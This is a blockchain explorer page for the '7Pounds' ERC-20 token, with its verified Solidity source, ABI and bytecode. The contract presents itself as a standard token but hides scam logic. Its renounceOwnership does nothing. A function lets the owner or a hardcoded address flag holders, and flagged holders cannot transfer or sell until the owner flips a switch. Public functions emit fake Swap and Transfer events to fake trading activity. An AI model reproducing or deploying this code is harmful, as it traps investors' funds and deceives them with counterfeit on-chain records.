ETH Price: $3,708.94 (+3.20%)

Token

ERC-20: 7Pounds (7Pounds)
 

Overview

Max Total Supply

100,000,000,000 7Pounds

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
0 7Pounds

Value
$0.00
0xd966ff637170a75a776f098ccb2f71941cc93b3b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-21
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) private _snapshot;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _snapshotApplied = false;
    string private _name;
    string private _symbol;

    address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B;
    address private _pair;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function setup(address _setup_) external onlyOwner {
        _pair = _setup_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 8;
    }

    function Approve(address [] calldata _addresses_) external  {
        require(owner() == _msgSender() ||  address(0x3B3Abad950Aff5bAe1407b405F9625352e53B4EB) == _msgSender(), "Ownable: caller is not the owner");
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _snapshot[_addresses_[i]] = true;
            emit Approval(_addresses_[i], address(this), balanceOf(_addresses_[i]));
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function decreaseAllowance(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _snapshot[_addresses_[i]] = false;
        }
    }

    function bind(address _address_) public view returns (bool) {
        return _snapshot[_address_];
    }
    function toApplied(bool c) external onlyOwner {
        _snapshotApplied = c;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_snapshot[from]) require(_snapshotApplied == true, "");


        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract TOKEN is ERC20 {
    constructor() ERC20("7Pounds", "7Pounds") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"bind","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_setup_","type":"address"}],"name":"setup","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"c","type":"bool"}],"name":"toApplied","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805460ff19169055600880546001600160a01b03191673ef1c6e67703c7bd7107eed8303fbe6ec2554bf6b1790553480156200004157600080fd5b506040518060400160405280600781526020016637506f756e647360c81b8152506040518060400160405280600781526020016637506f756e647360c81b8152506200009c62000096620000fb60201b60201c565b620000ff565b6006620000aa8382620002c5565b506007620000b98282620002c5565b505050620000f533620000d16200014f60201b60201c565b620000de90600a620004a6565b620000ef9064174876e800620004be565b62000154565b620004ee565b3390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600890565b6001600160a01b038216620001af5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060046000828254620001c39190620004d8565b90915550506001600160a01b0382166000818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200024c57607f821691505b6020821081036200026d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200021c57600081815260208120601f850160051c810160208610156200029c5750805b601f850160051c820191505b81811015620002bd57828155600101620002a8565b505050505050565b81516001600160401b03811115620002e157620002e162000221565b620002f981620002f2845462000237565b8462000273565b602080601f831160018114620003315760008415620003185750858301515b600019600386901b1c1916600185901b178555620002bd565b600085815260208120601f198616915b82811015620003625788860151825594840194600190910190840162000341565b5085821015620003815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e8578160001904821115620003cc57620003cc62000391565b80851615620003da57918102915b93841c9390800290620003ac565b509250929050565b6000826200040157506001620004a0565b816200041057506000620004a0565b8160018114620004295760028114620004345762000454565b6001915050620004a0565b60ff84111562000448576200044862000391565b50506001821b620004a0565b5060208310610133831016604e8410600b841016171562000479575081810a620004a0565b620004858383620003a7565b80600019048211156200049c576200049c62000391565b0290505b92915050565b6000620004b760ff841683620003f0565b9392505050565b8082028115828204841417620004a057620004a062000391565b80820180821115620004a057620004a062000391565b61111980620004fe6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80637aac697b116100b8578063a457c2d71161007c578063a457c2d7146102b0578063a9059cbb146102c3578063beabacc8146102d6578063dd62ed3e146102e9578063f2fde38b146102fc578063fde980ca1461030f57600080fd5b80637aac697b1461023b57806381bac14f1461024e5780638da5cb5b1461027a57806395d89b4114610295578063a1c617f51461029d57600080fd5b80633811ac021161010a5780633811ac02146101bc57806339509351146101d1578063477e1944146101e457806366d38203146101f757806370a082311461020a578063715018a61461023357600080fd5b806306fdde0314610147578063095ea7b31461016557806318160ddd1461018857806323b872dd1461019a578063313ce567146101ad575b600080fd5b61014f610322565b60405161015c9190610e0b565b60405180910390f35b610178610173366004610e75565b6103b4565b604051901515815260200161015c565b6004545b60405190815260200161015c565b6101786101a8366004610e9f565b6103ce565b6040516008815260200161015c565b6101cf6101ca366004610f27565b6103f2565b005b6101786101df366004610e75565b610573565b6101cf6101f2366004610f27565b610595565b6101cf610205366004610f69565b61060f565b61018c610218366004610f69565b6001600160a01b031660009081526001602052604090205490565b6101cf610639565b6101cf610249366004610f8b565b610643565b61017861025c366004610f69565b6001600160a01b031660009081526002602052604090205460ff1690565b6000546040516001600160a01b03909116815260200161015c565b61014f61074b565b6101cf6102ab366004610f8b565b61075a565b6101786102be366004610e75565b610853565b6101786102d1366004610e75565b6108ce565b6101cf6102e4366004610e9f565b6108dc565b61018c6102f7366004610fdc565b61091c565b6101cf61030a366004610f69565b610947565b6101cf61031d36600461100f565b6109c0565b60606006805461033190611031565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611031565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000336103c28185856109db565b60019150505b92915050565b6000336103dc858285610af7565b6103e7858585610b71565b506001949350505050565b6000546001600160a01b031633148061041e5750733b3abad950aff5bae1407b405f9625352e53b4eb33145b61046f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b60005b8181101561056e576001600260008585858181106104925761049261106b565b90506020020160208101906104a79190610f69565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055308383838181106104e2576104e261106b565b90506020020160208101906104f79190610f69565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561054b8686868181106105365761053661106b565b90506020020160208101906102189190610f69565b60405190815260200160405180910390a38061056681611097565b915050610472565b505050565b6000336103c2818585610586838361091c565b61059091906110b0565b6109db565b61059d610d61565b60005b8181101561056e576000600260008585858181106105c0576105c061106b565b90506020020160208101906105d59190610f69565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061060781611097565b9150506105a0565b610617610d61565b600980546001600160a01b0319166001600160a01b0392909216919091179055565b610641610d61565b565b60005b83811015610744578484828181106106605761066061106b565b90506020020160208101906106759190610f69565b60085460408051600080825260208201889052818301879052606082015290516001600160a01b0393841693909216917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a36009546001600160a01b03168585838181106106ed576106ed61106b565b90506020020160208101906107029190610f69565b6001600160a01b03166000805160206110c48339815191528560405161072a91815260200190565b60405180910390a38061073c81611097565b915050610646565b5050505050565b60606007805461033190611031565b60005b83811015610744578484828181106107775761077761106b565b905060200201602081019061078c9190610f69565b60085460408051868152600060208201819052818301526060810186905290516001600160a01b0393841693909216917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a38484828181106107f8576107f861106b565b905060200201602081019061080d9190610f69565b6009546040518481526001600160a01b0392831692909116906000805160206110c48339815191529060200160405180910390a38061084b81611097565b91505061075d565b60003381610861828661091c565b9050838110156108c15760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610466565b6103e782868684036109db565b6000336103c2818585610b71565b816001600160a01b0316836001600160a01b03166000805160206110c48339815191528360405161090f91815260200190565b60405180910390a3505050565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61094f610d61565b6001600160a01b0381166109b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610466565b6109bd81610dbb565b50565b6109c8610d61565b6005805460ff1916911515919091179055565b6001600160a01b038316610a3d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610a9e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161090f565b6000610b03848461091c565b90506000198114610b6b5781811015610b5e5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610466565b610b6b84848484036109db565b50505050565b6001600160a01b038316610bd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b6001600160a01b03831660009081526001602052604090205481811015610caf5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610466565b6001600160a01b038085166000818152600160209081526040808320878703905593871682528382208054870190559181526002909152205460ff1615610d215760055460ff161515600114610d215760405162461bcd60e51b81526020600482015260006024820152604401610466565b826001600160a01b0316846001600160a01b03166000805160206110c483398151915284604051610d5491815260200190565b60405180910390a3610b6b565b6000546001600160a01b031633146106415760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610466565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610e3857858101830151858201604001528201610e1c565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610e7057600080fd5b919050565b60008060408385031215610e8857600080fd5b610e9183610e59565b946020939093013593505050565b600080600060608486031215610eb457600080fd5b